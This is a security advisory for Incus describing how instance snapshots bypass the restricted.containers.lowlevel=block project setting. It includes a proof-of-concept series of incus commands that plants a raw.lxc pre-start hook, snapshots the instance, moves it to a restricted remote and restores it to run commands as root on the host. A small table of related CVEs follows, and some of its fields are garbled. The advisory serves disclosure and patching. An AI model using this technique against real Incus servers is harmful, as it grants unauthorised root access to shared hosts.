Incus has a restricted project bypass leading to arbitrary command execution
### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2026-48751US | —OT elevated | — | ||
Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrar… | ||||
references
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